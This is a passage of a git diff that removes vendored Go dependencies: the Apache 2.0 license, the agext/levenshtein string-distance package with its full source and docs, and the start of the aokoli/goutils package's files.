non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/github.com/agext/levenshtein/MAINTAINERS b/vendor/github.com/agext/levenshtein/MAINTAINERS deleted file mode 100644 index 726c2afb32..0000000000 --- a/vendor/github.com/agext/levenshtein/MAINTAINERS +++ /dev/null @@ -1 +0,0 @@ -Alex Bucataru (@AlexBucataru) diff --git a/vendor/github.com/agext/levenshtein/NOTICE b/vendor/github.com/agext/levenshtein/NOTICE deleted file mode 100644 index eaffaab94c..0000000000 --- a/vendor/github.com/agext/levenshtein/NOTICE +++ /dev/null @@ -1,5 +0,0 @@ -Alrux Go EXTensions (AGExt) - package levenshtein -Copyright 2016 ALRUX Inc. - -This product includes software developed at ALRUX Inc. -(http://www.alrux.com/). diff --git a/vendor/github.com/agext/levenshtein/README.md b/vendor/github.com/agext/levenshtein/README.md deleted file mode 100644 index d9a8ce16da..0000000000 --- a/vendor/github.com/agext/levenshtein/README.md +++ /dev/null @@ -1,38 +0,0 @@ -# A Go package for calculating the Levenshtein distance between two strings - -[![Release](https://img.shields.io/github/release/agext/levenshtein.svg?style=flat)](https://github.com/agext/levenshtein/releases/latest) -[![GoDoc](https://img.shields.io/badge/godoc-reference-blue.svg?style=flat)](https://godoc.org/github.com/agext/levenshtein)  -[![Build Status](https://travis-ci.org/agext/levenshtein.svg?branch=master&style=flat)](https://travis-ci.org/agext/levenshtein) -[![Coverage Status](https://coveralls.io/repos/github/agext/levenshtein/badge.svg?style=flat)](https://coveralls.io/github/agext/levenshtein) -[![Go Report Card](https://goreportcard.com/badge/github.com/agext/levenshtein?style=flat)](https://goreportcard.com/report/github.com/agext/levenshtein) - - -This package implements distance and similarity metrics for strings, based on the Levenshtein measure, in [Go](http://golang.org). - -## Project Status - -v1.2.3 Stable: Guaranteed no breaking changes to the API in future v1.x releases. Probably safe to use in production, though provided on "AS IS" basis. - -This package is being actively maintained. If you encounter any problems or have any suggestions for improvement, please [open an issue](https://github.com/agext/levenshtein/issues). Pull requests are welcome. - -## Overview - -The Levenshtein `Distance` between two strings is the minimum total cost of edits that would convert the first string into the second. The allowed edit operations are insertions, deletions, and substitutions, all at character (one UTF-8 code point) level. Each operation has a default cost of 1, but each can be assigned its own cost equal to or greater than 0. - -A `Distance` of 0 means the two strings are identical, and the higher the value the more different the strings. Since in practice we are interested in finding if the two strings are "close enough", it often does not make sense to continue the calculation once the result is mathematically guaranteed to exceed a desired threshold. Providing this value to the `Distance` function allows it to take a shortcut and return a lower bound instead of an exact cost when the threshold is exceeded. - -The `Similarity` function calculates the distance, then converts it into a normalized metric within the range 0..1, with 1 meaning the strings are identical, and 0 that they have nothing in common. A minimum similarity threshold can be provided to speed up the calculation of the metric for strings that are far too dissimilar for the purpose at hand. All values under this threshold are rounded down to 0. - -The `Match` function provides a similarity metric, with the same range and meaning as `Similarity`, but with a bonus for string pairs that share a common prefix and have a similarity above a "bonus threshold". It uses the same method as proposed by Winkler for the Jaro distance, and the reasoning behind it is that these string pairs are very likely spelling variations or errors, and they are more closely linked than the edit distance alone would suggest. - -The underlying `Calculate` function is also exported, to allow the building of other derivative metrics, if needed. - -## Installation - -``` -go get github.com/agext/levenshtein -``` - -## License - -Package levenshtein is released under the Apache 2.0 license. See the [LICENSE](LICENSE) file for details. diff --git a/vendor/github.com/agext/levenshtein/go.mod b/vendor/github.com/agext/levenshtein/go.mod deleted file mode 100644 index 545d432be3..0000000000 --- a/vendor/github.com/agext/levenshtein/go.mod +++ /dev/null @@ -1 +0,0 @@ -module github.com/agext/levenshtein diff --git a/vendor/github.com/agext/levenshtein/levenshtein.go b/vendor/github.com/agext/levenshtein/levenshtein.go deleted file mode 100644 index 56d719b83d..0000000000 --- a/vendor/github.com/agext/levenshtein/levenshtein.go +++ /dev/null @@ -1,290 +0,0 @@ -// Copyright 2016 ALRUX Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -/* -Package levenshtein implements distance and similarity metrics for strings, based on the Levenshtein measure. - -The Levenshtein `Distance` between two strings is the minimum total cost of edits that would convert the first string into the second. The allowed edit operations are insertions, deletions, and substitutions, all at character (one UTF-8 code point) level. Each operation has a default cost of 1, but each can be assigned its own cost equal to or greater than 0. - -A `Distance` of 0 means the two strings are identical, and the higher the value the more different the strings. Since in practice we are interested in finding if the two strings are "close enough", it often does not make sense to continue the calculation once the result is mathematically guaranteed to exceed a desired threshold. Providing this value to the `Distance` function allows it to take a shortcut and return a lower bound instead of an exact cost when the threshold is exceeded. - -The `Similarity` function calculates the distance, then converts it into a normalized metric within the range 0..1, with 1 meaning the strings are identical, and 0 that they have nothing in common. A minimum similarity threshold can be provided to speed up the calculation of the metric for strings that are far too dissimilar for the purpose at hand. All values under this threshold are rounded down to 0. - -The `Match` function provides a similarity metric, with the same range and meaning as `Similarity`, but with a bonus for string pairs that share a common prefix and have a similarity above a "bonus threshold". It uses the same method as proposed by Winkler for the Jaro distance, and the reasoning behind it is that these string pairs are very likely spelling variations or errors, and they are more closely linked than the edit distance alone would suggest. - -The underlying `Calculate` function is also exported, to allow the building of other derivative metrics, if needed. -*/ -package levenshtein - -// Calculate determines the Levenshtein distance between two strings, using -// the given costs for each edit operation. It returns the distance along with -// the lengths of the longest common prefix and suffix. -// -// If maxCost is non-zero, the calculation stops as soon as the distance is determined -// to be greater than maxCost. Therefore, any return value higher than maxCost is a -// lower bound for the actual distance. -func Calculate(str1, str2 []rune, maxCost, insCost, subCost, delCost int) (dist, prefixLen, suffixLen int) { - l1, l2 := len(str1), len(str2) - // trim common prefix, if any, as it doesn't affect the distance - for ; prefixLen < l1 && prefixLen < l2; prefixLen++ { - if str1[prefixLen] != str2[prefixLen] { - break - } - } - str1, str2 = str1[prefixLen:], str2[prefixLen:] - l1 -= prefixLen - l2 -= prefixLen - // trim common suffix, if any, as it doesn't affect the distance - for 0 < l1 && 0 < l2 { - if str1[l1-1] != str2[l2-1] { - str1, str2 = str1[:l1], str2[:l2] - break - } - l1-- - l2-- - suffixLen++ - } - // if the first string is empty, the distance is the length of the second string times the cost of insertion - if l1 == 0 { - dist = l2 * insCost - return - } - // if the second string is empty, the distance is the length of the first string times the cost of deletion - if l2 == 0 { - dist = l1 * delCost - return - } - - // variables used in inner "for" loops - var y, dy, c, l int - - // if maxCost is greater than or equal to the maximum possible distance, it's equivalent to 'unlimited' - if maxCost > 0 { - if subCost < delCost+insCost { - if maxCost >= l1*subCost+(l2-l1)*insCost { - maxCost = 0 - } - } else { - if maxCost >= l1*delCost+l2*insCost { - maxCost = 0 - } - } - } - - if maxCost > 0 { - // prefer the longer string first, to minimize time; - // a swap also transposes the meanings of insertion and deletion. - if l1 < l2 { - str1, str2, l1, l2, insCost, delCost = str2, str1, l2, l1, delCost, insCost - } - - // the length differential times cost of deletion is a lower bound for the cost; - // if it is higher than the maxCost, there is no point going into the main calculation. - if dist = (l1 - l2) * delCost; dist > maxCost { - return - } - - d := make([]int, l1+1) - - // offset and length of d in the current row - doff, dlen := 0, 1 - for y, dy = 1, delCost; y <= l1 && dy <= maxCost; dlen++ { - d[y] = dy - y++ - dy = y * delCost - } - // fmt.Printf("%q -> %q: init doff=%d dlen=%d d[%d:%d]=%v\n", str1, str2, doff, dlen, doff, doff+dlen, d[doff:doff+dlen]) - - for x := 0; x < l2; x++ { - dy, d[doff] = d[doff], d[doff]+insCost - for doff < l1 && d[doff] > maxCost && dlen > 0 { - if str1[doff] != str2[x] { - dy += subCost - } - doff++ - dlen-- - if c = d[doff] + insCost; c < dy { - dy = c - } - dy, d[doff] = d[doff], dy - } - for y, l = doff, doff+dlen-1; y < l; dy, d[y] = d[y], dy { - if str1[y] != str2[x] { - dy += subCost - } - if c = d[y] + delCost; c < dy { - dy = c - } - y++ - if c = d[y] + insCost; c < dy { - dy = c - } - } - if y < l1 { - if str1[y] != str2[x] { - dy += subCost - } - if c = d[y] + delCost; c < dy { - dy = c - } - for ; dy <= maxCost && y < l1; dy, d[y] = dy+delCost, dy { - y++ - dlen++ - } - } - // fmt.Printf("%q -> %q: x=%d doff=%d dlen=%d d[%d:%d]=%v\n", str1, str2, x, doff, dlen, doff, doff+dlen, d[doff:doff+dlen]) - if dlen == 0 { - dist = maxCost + 1 - return - } - } - if doff+dlen-1 < l1 { - dist = maxCost + 1 - return - } - dist = d[l1] - } else { - // ToDo: This is O(l1*l2) time and O(min(l1,l2)) space; investigate if it is - // worth to implement diagonal approach - O(l1*(1+dist)) time, up to O(l1*l2) space - // http://www.csse.monash.edu.au/~lloyd/tildeStrings/Alignment/92.IPL.html - - // prefer the shorter string first, to minimize space; time is O(l1*l2) anyway; - // a swap also transposes the meanings of insertion and deletion. - if l1 > l2 { - str1, str2, l1, l2, insCost, delCost = str2, str1, l2, l1, delCost, insCost - } - d := make([]int, l1+1) - - for y = 1; y <= l1; y++ { - d[y] = y * delCost - } - for x := 0; x < l2; x++ { - dy, d[0] = d[0], d[0]+insCost - for y = 0; y < l1; dy, d[y] = d[y], dy { - if str1[y] != str2[x] { - dy += subCost - } - if c = d[y] + delCost; c < dy { - dy = c - } - y++ - if c = d[y] + insCost; c < dy { - dy = c - } - } - } - dist = d[l1] - } - - return -} - -// Distance returns the Levenshtein distance between str1 and str2, using the -// default or provided cost values. Pass nil for the third argument to use the -// default cost of 1 for all three operations, with no maximum. -func Distance(str1, str2 string, p *Params) int { - if p == nil { - p = defaultParams - } - dist, _, _ := Calculate([]rune(str1), []rune(str2), p.maxCost, p.insCost, p.subCost, p.delCost) - return dist -} - -// Similarity returns a score in the range of 0..1 for how similar the two strings are. -// A score of 1 means the strings are identical, and 0 means they have nothing in common. -// -// A nil third argument uses the default cost of 1 for all three operations. -// -// If a non-zero MinScore value is provided in the parameters, scores lower than it -// will be returned as 0. -func Similarity(str1, str2 string, p *Params) float64 { - return Match(str1, str2, p.Clone().BonusThreshold(1.1)) // guaranteed no bonus -} - -// Match returns a similarity score adjusted by the same method as proposed by Winkler for -// the Jaro distance - giving a bonus to string pairs that share a common prefix, only if their -// similarity score is already over a threshold. -// -// The score is in the range of 0..1, with 1 meaning the strings are identical, -// and 0 meaning they have nothing in common. -// -// A nil third argument uses the default cost of 1 for all three operations, maximum length of -// common prefix to consider for bonus of 4, scaling factor of 0.1, and bonus threshold of 0.7. -// -// If a non-zero MinScore value is provided in the parameters, scores lower than it -// will be returned as 0. -func Match(str1, str2 string, p *Params) float64 { - s1, s2 := []rune(str1), []rune(str2) - l1, l2 := len(s1), len(s2) - // two empty strings are identical; shortcut also avoids divByZero issues later on. - if l1 == 0 && l2 == 0 { - return 1 - } - - if p == nil { - p = defaultParams - } - - // a min over 1 can never be satisfied, so the score is 0. - if p.minScore > 1 { - return 0 - } - - insCost, delCost, maxDist, max := p.insCost, p.delCost, 0, 0 - if l1 > l2 { - l1, l2, insCost, delCost = l2, l1, delCost, insCost - } - - if p.subCost < delCost+insCost { - maxDist = l1*p.subCost + (l2-l1)*insCost - } else { - maxDist = l1*delCost + l2*insCost - } - - // a zero min is always satisfied, so no need to set a max cost. - if p.minScore > 0 { - // if p.minScore is lower than p.bonusThreshold, we can use a simplified formula - // for the max cost, because a sim score below min cannot receive a bonus. - if p.minScore < p.bonusThreshold { - // round down the max - a cost equal to a rounded up max would already be under min. - max = int((1 - p.minScore) * float64(maxDist)) - } else { - // p.minScore <= sim + p.bonusPrefix*p.bonusScale*(1-sim) - // p.minScore <= (1-dist/maxDist) + p.bonusPrefix*p.bonusScale*(1-(1-dist/maxDist)) - // p.minScore <= 1 - dist/maxDist + p.bonusPrefix*p.bonusScale*dist/maxDist - // 1 - p.minScore >= dist/maxDist - p.bonusPrefix*p.bonusScale*dist/maxDist - // (1-p.minScore)*maxDist/(1-p.bonusPrefix*p.bonusScale) >= dist - max = int((1 - p.minScore) * float64(maxDist) / (1 - float64(p.bonusPrefix)*p.bonusScale)) - } - } - - dist, pl, _ := Calculate(s1, s2, max, p.insCost, p.subCost, p.delCost) - if max > 0 && dist > max { - return 0 - } - sim := 1 - float64(dist)/float64(maxDist) - - if sim >= p.bonusThreshold && sim < 1 && p.bonusPrefix > 0 && p.bonusScale > 0 { - if pl > p.bonusPrefix { - pl = p.bonusPrefix - } - sim += float64(pl) * p.bonusScale * (1 - sim) - } - - if sim < p.minScore { - return 0 - } - - return sim -} diff --git a/vendor/github.com/agext/levenshtein/params.go b/vendor/github.com/agext/levenshtein/params.go deleted file mode 100644 index a85727b3ef..0000000000 --- a/vendor/github.com/agext/levenshtein/params.go +++ /dev/null @@ -1,152 +0,0 @@ -// Copyright 2016 ALRUX Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package levenshtein - -// Params represents a set of parameter values for the various formulas involved -// in the calculation of the Levenshtein string metrics. -type Params struct { - insCost int - subCost int - delCost int - maxCost int - minScore float64 - bonusPrefix int - bonusScale float64 - bonusThreshold float64 -} - -var ( - defaultParams = NewParams() -) - -// NewParams creates a new set of parameters and initializes it with the default values. -func NewParams() *Params { - return &Params{ - insCost: 1, - subCost: 1, - delCost: 1, - maxCost: 0, - minScore: 0, - bonusPrefix: 4, - bonusScale: .1, - bonusThreshold: .7, - } -} - -// Clone returns a pointer to a copy of the receiver parameter set, or of a new -// default parameter set if the receiver is nil. -func (p *Params) Clone() *Params { - if p == nil { - return NewParams() - } - return &Params{ - insCost: p.insCost, - subCost: p.subCost, - delCost: p.delCost, - maxCost: p.maxCost, - minScore: p.minScore, - bonusPrefix: p.bonusPrefix, - bonusScale: p.bonusScale, - bonusThreshold: p.bonusThreshold, - } -} - -// InsCost overrides the default value of 1 for the cost of insertion. -// The new value must be zero or positive. -func (p *Params) InsCost(v int) *Params { - if v >= 0 { - p.insCost = v - } - return p -} - -// SubCost overrides the default value of 1 for the cost of substitution. -// The new value must be zero or positive. -func (p *Params) SubCost(v int) *Params { - if v >= 0 { - p.subCost = v - } - return p -} - -// DelCost overrides the default value of 1 for the cost of deletion. -// The new value must be zero or positive. -func (p *Params) DelCost(v int) *Params { - if v >= 0 { - p.delCost = v - } - return p -} - -// MaxCost overrides the default value of 0 (meaning unlimited) for the maximum cost. -// The calculation of Distance() stops when the result is guaranteed to exceed -// this maximum, returning a lower-bound rather than exact value. -// The new value must be zero or positive. -func (p *Params) MaxCost(v int) *Params { - if v >= 0 { - p.maxCost = v - } - return p -} - -// MinScore overrides the default value of 0 for the minimum similarity score. -// Scores below this threshold are returned as 0 by Similarity() and Match(). -// The new value must be zero or positive. Note that a minimum greater than 1 -// can never be satisfied, resulting in a score of 0 for any pair of strings. -func (p *Params) MinScore(v float64) *Params { - if v >= 0 { - p.minScore = v - } - return p -} - -// BonusPrefix overrides the default value for the maximum length of -// common prefix to be considered for bonus by Match(). -// The new value must be zero or positive. -func (p *Params) BonusPrefix(v int) *Params { - if v >= 0 { - p.bonusPrefix = v - } - return p -} - -// BonusScale overrides the default value for the scaling factor used by Match() -// in calculating the bonus. -// The new value must be zero or positive. To guarantee that the similarity score -// remains in the interval 0..1, this scaling factor is not allowed to exceed -// 1 / BonusPrefix. -func (p *Params) BonusScale(v float64) *Params { - if v >= 0 { - p.bonusScale = v - } - - // the bonus cannot exceed (1-sim), or the score may become greater than 1. - if float64(p.bonusPrefix)*p.bonusScale > 1 { - p.bonusScale = 1 / float64(p.bonusPrefix) - } - - return p -} - -// BonusThreshold overrides the default value for the minimum similarity score -// for which Match() can assign a bonus. -// The new value must be zero or positive. Note that a threshold greater than 1 -// effectively makes Match() become the equivalent of Similarity(). -func (p *Params) BonusThreshold(v float64) *Params { - if v >= 0 { - p.bonusThreshold = v - } - return p -} diff --git a/vendor/github.com/agext/levenshtein/test.sh b/vendor/github.com/agext/levenshtein/test.sh deleted file mode 100644 index c5ed72466f..0000000000 --- a/vendor/github.com/agext/levenshtein/test.sh +++ /dev/null @@ -1,10 +0,0 @@ -set -ev - -if [[ "$1" == "goveralls" ]]; then - echo "Testing with goveralls..." - go get github.com/mattn/goveralls - $HOME/gopath/bin/goveralls -service=travis-ci -else - echo "Testing with go test..." - go test -v ./... -fi diff --git a/vendor/github.com/aokoli/goutils/.travis.yml b/vendor/github.com/aokoli/goutils/.travis.yml deleted file mode 100644 index 4025e01ec4..0000000000 --- a/vendor/github.com/aokoli/goutils/.travis.yml +++ /dev/null @@ -1,18 +0,0 @@ -language: go - -go: - - 1.6 - - 1.7 - - 1.8 - - tip - -script: - - go test -v - -notifications: - webhooks: - urls: - - https://webhooks.gitter.im/e/06e3328629952dabe3e0 - on_success: change # options: [always|never|change] default: always - on_failure: always # options: [always|never|change] default: always - on_start: never # options: [always|never|change] default: always diff --git a/vendor/github.com/aokoli/goutils/CHANGELOG.md b/vendor/github.com/aokoli/goutils/CHANGELOG.md deleted file mode 100644 index d700ec47f2..0000000000 --- a/vendor/github.com/aokoli/goutils/CHANGELOG.md +++ /dev/null @@ -1,8 +0,0 @@ -# 1.0.1 (2017-05-31) - -## Fixed -- #21: Fix generation of alphanumeric strings (thanks @dbarranco) - -# 1.0.0 (2014-04-30) - -- Initial release. diff --git a/vendor/github.com/aokoli/goutils/LICENSE.txt b/vendor/github.com/aokoli/goutils/LICENSE.txt deleted file mode 100644 index d645695673..0000000000 --- a/vendor/github.com/aokoli/goutils/LICENSE.txt +++ /dev/null @@ -1,202 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/github.com/aokoli/goutils/README.md b/vendor/github.com/aokoli/goutils/README.md deleted file mode 100644 index 163ffe72a8..0000000000 --- a/vendor/github.com/aokoli/goutils/README.md +++ /dev/null @@ -1,70 +0,0 @@ -GoUtils -=========== -[![Stability: Maintenance](https://masterminds.github.io/stability/maintenance.svg)](https://masterminds.github.io/stability/maintenance.html) -[![GoDoc](https://godoc.org/github.com/Masterminds/goutils?status.png)](https://godoc.org/github.com/Masterminds/goutils) [![Build Status](https://travis-ci.org/Masterminds/goutils.svg?branch=master)](https://travis-ci.org/Masterminds/goutils) [![Build status](https://ci.appveyor.com/api/projects/status/sc2b1ew0m7f0aiju?svg=true)](https://ci.appveyor.com/project/mattfarina/goutils) - - -GoUtils provides users with utility functions to manipulate strings in various ways. It is a Go implementation of some -string manipulation libraries of Java Apache Commons. GoUtils includes the 